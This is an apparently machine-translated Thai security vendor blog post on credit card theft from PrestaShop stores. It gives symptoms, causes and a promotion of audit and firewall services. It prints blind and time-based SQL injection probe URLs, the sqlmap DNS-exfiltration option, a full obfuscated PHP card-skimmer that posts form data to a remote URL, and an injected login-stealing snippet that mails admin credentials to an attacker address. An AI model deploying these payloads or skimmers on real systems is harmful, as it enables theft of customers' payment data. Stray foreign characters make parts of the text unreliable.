การทำธุรกรรมออนไลน์เพิ่มความสะดวกสบายในการทำธุรกิจแน่นอน แต่พร้อมกับความสะดวกนั้นก็มาพร้อมกับความรับผิดชอบด้านความปลอดภัย ร้านค้าอีคอมเมิร์ซที่รันบน PrestaShop มีข้อมูลละเอียดอ่อนมาก รวมถึงรายละเอียดบัตรเครดิตของผู้ใช้ ดังนั้นข้อมูลนี้จึงเป็นเป้าหมายที่อุดมสมบูรณ์สำหรับผู้โจมตี การขโมยบัตรเครดิต PrestaShop กำลังเพิ่มขึ้นเนื่องจากความนิยมของโซลูชันอีคอมเมิร์ซนี้ สาเหตุมาจากความง่ายในการตั้งค่าและบำรุงรักษา ตามหนังสือ PrestaShop 1.5 Beginner's Guide ระบุว่า...
อาการของการขโมยบัตรเครดิต PrestaShop
การขโมยบัตรเครดิต PrestaShop สามารถทำได้หลายวิธี อาจเป็นสคริปต์ร้ายบนเซิร์ฟเวอร์ หรือโค้ด JavaScript บางบรรทัด บ่อยครั้งเป็น SQL Injection หรือหน้าปลอม (phishing page) ความหลากหลายของวิธีการทำให้ยากต่อการตรวจจับ อย่างไรก็ตาม มีบางอาการที่สามารถบ่งชี้การโจมตี:
- ตารางฐานข้อมูลที่ไม่รู้จักมาก่อน เช่น Sqlmap ปรากฏขึ้น
- บัญชีผู้ดูแลที่ไม่รู้จักปรากฏบนแดชบอร์ด
- บัตรเครดิตของลูกค้าถูกขโมย
- การล็อกอินเข้าสู่แดชบอร์ดจาก IP ไม่รู้จัก
- หน้าเว็บใหม่ที่ไม่รู้จักปรากฏบนเว็บไซต์
- เว็บไซต์เปลี่ยนเส้นทางไปโดเมนไม่รู้จัก
- การวิเคราะห์แพ็กเก็ต Wireshark แสดงข้อมูลส่งออกไปยังโดเมนน่าสงสัย
- ผู้ใช้ร้องเรียนเกี่ยวกับปัญหาการชำระเงิน
- บันทึกเซิร์ฟเวอร์แสดงการพยายาม brute force หรือ SQL injection
รายละเอียดบัตรเครดิตถูกขโมยจากร้าน PrestaShop ของคุณ? ส่งข้อความมาที่แชทวิดเจ็ต เราจะช่วยคุณด้วยความยินดี ซ่อมแซมเว็บไซต์ PrestaShop ของฉันตอนนี้
สาเหตุของการขโมยบัตรเครดิต PrestaShop
SQL Injection ใน PrestaShop
SQL Injection สามารถทำลายฐานข้อมูลของร้าน PrestaShop ได้ สาเหตุหลักของ SQLi คือการขาดการทำความสะอาดข้อมูลนำเข้า (input sanitization) นักพัฒนาบ่อยครั้งไม่ได้ปฏิบัติการเขียนโค้ดอย่างปลอดภัย ทำให้ช่องโหว่อย่าง SQLi และ XSS เกิดขึ้นในโค้ด ช่องโหว่ SQLi แบบ Zero-day สำหรับ PrestaShop ถูกเผยแพร่ในปี 2014 คอมโพเนนต์ที่อ่อนไหวคือ id_manifacturer URL เต็มด้านล่าง:
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection]
ใน URL ข้างต้น คำสั่ง SQL สามารถฉีดเข้าไปหลัง id_manufacturer ได้ นี่เป็นแบบ Blind SQLi ดังนั้นข้อมูลสามารถดึงออกมาได้ในรูปแบบบูลีน (true/false) เท่านั้น บางครั้งนักพัฒนาปิดข้อผิดพลาดภายใน เพื่อไม่ให้แฮกเกอร์ค้นพบช่องโหว่ แต่หากเซิร์ฟเวอร์ยังคงรันคำสั่ง ข้อมูลก็ยังสามารถดึงออกมาในรูปแบบบูลีนได้ นี่คือกรณีของ Blind SQLi แม้ว่าจะต้องส่งคำขอหลายครั้งเพื่ออ่านเนื้อหาฐานข้อมูล ทำให้การโจมตีด้วยมือใช้เวลานาน เพื่อตรวจสอบ Blind SQLi:
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1
ก่อนอื่น ดูว่าคำสั่งนี้ทำงานเป็น true หรือไม่ ต่อมา คำสั่งที่ =3 and 1=2 ทำงานเป็น false แล้วแน่ชัดว่าเป็นกรณี Blind SQLi อย่างไรก็ตาม บางครั้งอาจเป็น time-based blind SQLi ในกรณีนั้น เซิร์ฟเวอร์จะส่งฟีดบัคบูลีนหลังจากเวลาที่กำหนด ตัวอย่าง:
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)
ที่นี่ผู้ใช้ต้องรอ 10 วินาที หลังจากนั้น เซิร์ฟเวอร์จะส่งคำตอบ true หรือ false ตามคำขอ
การโจมตีอัตโนมัติ (Automatic Exploitation)
การโจมตีดูเหมือนจะใช้เวลานาน แต่มีเครื่องมืออัตโนมัติให้ใช้ Sqlmap สามารถโจมตีได้ง่ายมาก หลังจากนั้น โจมตีสามารถอ่านตาราง ps_payment_cc ซึ่งมีคอลัมน์ id_order_payment, card_number, card_brand, card_expiration ดังนั้นขโมยรายละเอียดบัตรที่บันทึกไว้ทั้งหมด หากตารางใหญ่ โจมตีสามารถเร่งความเร็วการโจมตีด้วย DNS queries เนื่องจาก Sqlmap มีตัวเลือก --dns-domain= ดังนั้นโจมตีสามารถส่งออกข้อมูลผ่าน DNS queries แทนการรอผลลัพธ์แบบ time-based ที่ช้า อย่างไรก็ตาม โจมตีต้องควบคุมเครื่องที่ลงทะเบียนเป็น DNS server ดังนั้น จึงสำคัญที่จะต้องติดตาม DNS queries ที่ออกจากเซิร์ฟเวอร์ของคุณ อย่างไรก็ตาม แนะนำให้ ไม่เก็บข้อมูลบัตรเครดิตของผู้ใช้บนเซิร์ฟเวอร์ เว้นแต่แอดมินจะทำการตรวจสอบความปลอดภัย PrestaShop และ pentesting เป็นประจำ แม้ว่าทั้งหมดนี้อาจหลีกเลี่ยงได้หากนักพัฒนาใช้ prepared statements!
PrestaShop Credit Card Malware
บางครั้งการแฮกบัตรเครดิตใน PrestaShop อาจมาจากสคริปต์ร้ายบนเว็บไซต์ของคุณ โจมตีจะ exploit เว็บไซต์ก่อนด้วยเทคนิคที่รู้จัก ส่วนใหญ่เป็นหนึ่งใน OWASP Top 10 หลังจากนั้นจึงติดตั้งมัลแวร์ มัลแวร์นี้จะเชื่อมต่อกับฐานข้อมูลก่อน จากนั้นขโมยข้อมูลบัตรเครดิต ซึ่งมักอยู่ในตาราง ps_payment_cc
ข้างต้นคือโค้ดสนิปเพ็ตของสคริปต์ขโมยบัตรเครดิต PrestaShop ที่นี่ สคริปต์เชื่อมต่อฐานข้อมูลก่อน แล้วค่อยขโมยข้อมูลบัตรเครดิตจากฐานข้อมูล
ลองดูมัลแวร์บัตรเครดิตอีกตัวที่ติดเชื้อไฟล์ /vendor/composer/autoload_real.php
class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }function get(){if($this->search($this->data[0])===FALSE) return;foreach($this->data AS $i => $v){$v = $this->search($v);$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);}$this->set();}function set(){$data = implode('|', $this->data);$data = $this->crypt('SiF').'|'.$data;if(!$this->encrypt) $data = base64_encode($data);$data = $this->post_fgc($data);if($this->test) $this->out($data);}function get_fgc($data){$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);if($this->test) $url .= '&test';return file_get_contents($url);}function post_fgc($data){$data = array($this->conf['param'] => $data);$options = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n",'method' => 'POST','content' => http_build_query($data)));$context = stream_context_create($options);return file_get_contents($this->conf['url'], false, $context);}function search($key){$f = $this->in;if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)){foreach($a[1] AS $v){if(is_array($f) && isset($f[$v])) $f = $f[$v];else return FALSE;}return $f;}return FALSE;}function crypt($s){if(function_exists('openssl_public_encrypt')){$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";if(@openssl_public_encrypt($s, $code, $key)){$this->encrypt = TRUE;return base64_encode($code);}}return $s;}function out($s){echo $s;exit;}}new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'
สคริปต์ร้ายเป็นขั้นตอนที่สองของการโจมตี เนื่องจากในขั้นตอนแรก ช่องโหว่ที่รู้จักถูก exploit แล้วจึงอัปโหลดสคริปต์ขโมยข้อมูลประจำตัว (credential stealer) ดังนั้น โดยทั่วไปแล้วแนะนำให้ไม่เก็บข้อมูลในฐานข้อมูล สำหรับร้านค้าอีคอมเมิร์ซ แนะนำให้ดำเนินการตรวจสอบความปลอดภัย (security audit) และ pentesting เพื่อค้นหาทุกวิธีที่มัลแวร์อาจถูกฉีดเข้าเว็บไซต์ของคุณ
Phishing
Phishing สามารถใช้ทำการขโมยบัตรเครดิต PrestaShop ในระยะกว้าง โจมตีจะสร้างหน้าล็อกอินปลอม ผู้ใช้อาจไม่แยกแยะได้ จึงอาจเปิดเผยข้อมูลละเอียดอ่อนนำไปสู่การแฮกบัตรเครดิตใน PrestaShop มีหลายวิธีที่หน้าเหล่านี้อาจถูกสร้าง:
- XSS: โจมตีใช้ XSS โหลดสคริปต์ร้ายจากโดเมนร้าย สคริปต์นี้เขียนทับเนื้อหาหน้าเดิม หน้าถูกแทนที่ด้วยหน้าล็อกอินปลอม ผู้ใช้ส่งข้อมูลในหน้าเหล่านั้น หน้าปลอมส่งข้อมูลนี้ไปยังโดเมนที่โจมตีควบคุม
- SQLi: โจมตีอาจได้ reverse shell ผ่าน SQL injection ใช้ reverse shell นี้ แทนที่หน้าชำระเงินเดิมด้วยหน้าปลอม
- FTP: พอร์ต FTP เปิดให้เข้าถึงจากอินเทอร์เน็ต โจมตีอาจได้ข้อมูลล็อกอิน จากนั้นสร้างหน้าปลอม
- Zero-day: โจมตีอาจได้ reverse shell จากช่องโหว่ zero-day เนื่องจากการติดตั้งล้าสมัย ดังนั้นสร้างหน้าชำระเงินปลอม นำไปสู่การขโมยบัตรเครดิต PrestaShop!
รหัสผ่านอ่อนแอ (Weak Credentials)
รหัสผ่านอ่อนแอเป็นสาเหตุหลักของ การขโมยบัตรเครดิต PrestaShop รหัสผ่านอ่อนแอสามารถแตกได้ด้วยการโจมตี brute force เมื่อโจมตีได้รหัสผ่าน แดชบอร์ดก็เปิดให้เข้าถึง จากนี้ โจมตีบางคนใช้วิธีแตกต่าง แทนที่จะรอรวบรวมข้อมูลสมัครสมาชิกจากฐานข้อมูลอย่างพัссиฟ โจมตีฉีดโค้ดลงหน้าเพื่อส่งข้อมูลนั้นๆ แบบไดนามิก ตัวอย่างเช่น มัลแวร์ประเภทหนึ่งฉีดโค้ดเข้าไฟล์ /controllers/admin/AdminLoginController.php โค้ดร้ายมักจะมีลักษณะประมาณนี้:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
โค้ดในบรรทัดแรกๆ รวบรวมตัวแปรทั้งหมด หลังจากนั้น ฟังก์ชัน PHP mail ส่งไปยังบัญชีของโจมตี ในกรณีนี้คือ admin@wsxdn.com พารามิเตอร์ที่ส่งไปมีดังนี้:
- To: อีเมลของโจมตีที่จะส่งข้อมูลไป ในกรณีนี้คือ
admin@wsxdn.com. - Subject: มีข้อความ
panel admin prestashop www.infectedDomain.com - Header: ส่วนหัวมีข้อความ
hacked <admin@wsxdn.com> - Message Part 1: พารามิเตอร์นี้มีข้อมูลละเอียดอ่อนทั้งหมด รวมถึงโดเมนที่ติดเชื้อ ในกรณีนี้
https://www.attackeddomain.comURI ซึ่งคือ/admins/ajax-tab.php?rand=1470989908670&up=housตามด้วยอีเมลadmin@wsxdn.comn.comและสุดท้ายคือรหัสผ่าน อาจเป็นสตริงสุ่มที่ผู้ใช้ใส่ ไปพร้อมข้อความสุ่มby bajatax — sniper :v - Message Part 2: ส่วนที่สองมีพาธไฟล์ท้องถิ่นของไฟล์ที่ติดเชื้อ ในกรณีนี้
/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php
อย่างไรก็ตาม หลังค้นพบมัลแวร์ Google บล็อกบัญชี Gmail ของโจมตี แล้วรูปแบบมัลแวร์ใหม่ถูกพบ ซึ่งตรวจสอบก่อนว่าส่งเมลไปหาโจมตีได้หรือไม่ หากไม่ได้ จะบันทึกลงไฟล์ท้องถิ่นชื่อ uspas.txt ขั้นตอนต่อไป โจมตีสามารถได้ข้อมูลบัตรเครดิตเช่นเดียวกับข้อมูลสมัครสมาชิก นี่จบสิ้น การขโมยบัตรเครดิต PrestaShop!
PrestaShop Security Audit และ Firewall
Astra Security Audit
เพื่อทำให้ร้าน PrestaShop ของคุณปลอดภัย จำเป็นต้องค้นหาช่องโหว่ ซึ่งสามารถเปิดเผยได้เฉพาะผ่านการตรวจสอบความปลอดภัยแบบสมบูรณ์ มีหลายโซลูชันในตลาด เช่นของ Astra
การมีส่วนร่วมกับ Astra จะให้บริการดังต่อไปนี้:
- ช่องโหว่ทั่วไปที่รู้จัก เช่น SQLi, XSS, Spam ฯลฯ และอีก 80+ ช่องโหว่
- Vulnerability Assessment and Penetration Testing (VAPT)
- ตรวจจับช่องโหว่การ操纵ราคา (price manipulation) นอกจากนี้ยังพบ business logic errors
- Static & Dynamic Code Analysis
- ความช่วยเหลือทางเทคนิคในการแพทช์ช่องโหว่ความปลอดภัยที่พบ
- Collaborative Cloud Dashboard สำหรับรายงานช่องโหว่
- การเข้าถึงเครื่องมือ/API ความปลอดภัยของเรา
- ที่ปรึกษา Web Security Best Practices
- ค้นพบพอร์ตที่เปิดให้เข้าถึงจากอินเทอร์เน็ต
- ค้นหาบางการกำหนดค่าเซิร์ฟเวอร์ที่ผิดปกติ
- Clickjacking detection
- Broken Authentication & Authorization
- ค้นหา Privilege Escalation bugs
- ช่องโหว่ในปลั๊กอินของบุคคลที่สาม และอื่นๆ อีกมาก
การทดสอบเหล่านี้ปรับแต่งได้สูงและเฉพาะเจาะจงตามเว็บไซต์และความต้องการ
ขอบเขตทั่วไปของการทดสอบความปลอดภัย:
- Customer Web Application
- Payment Handling & Integrations
- Administration Portal
- APIs and Web Services
Astra Firewall
ไฟร์วอลล์ PrestaShop ให้การบล็อกการเข้าถึงที่ไม่ได้รับอนุญาตไปยังร้าน PrestaShop ของคุณ ทุกトラフィกเข้า จะถูกสแกน ดังนั้นคำขอร้ายจึงถูกทิ้ง ไฟร์วอลล์ Astra สแกนมัลแวร์ที่อัปโหลด พยายามอัปโหลดสคริปต์ขโมยบัตรเครดิต PrestaShop จะถูกบล็อก Astra ยังติดตามกิจกรรมล็อกอิน ดังนั้นหากแดชบอร์ดถูกบุกครอบ ผู้ใช้จะได้รับแจ้งเตือน นอกจากนี้ Astra ให้แน่ใจว่าการติดตั้งเป็นเวอร์ชันล่าสุด ดังนั้น จึงให้การป้องกัน 24 ชั่วโมงแก่ร้านค้าของคุณ!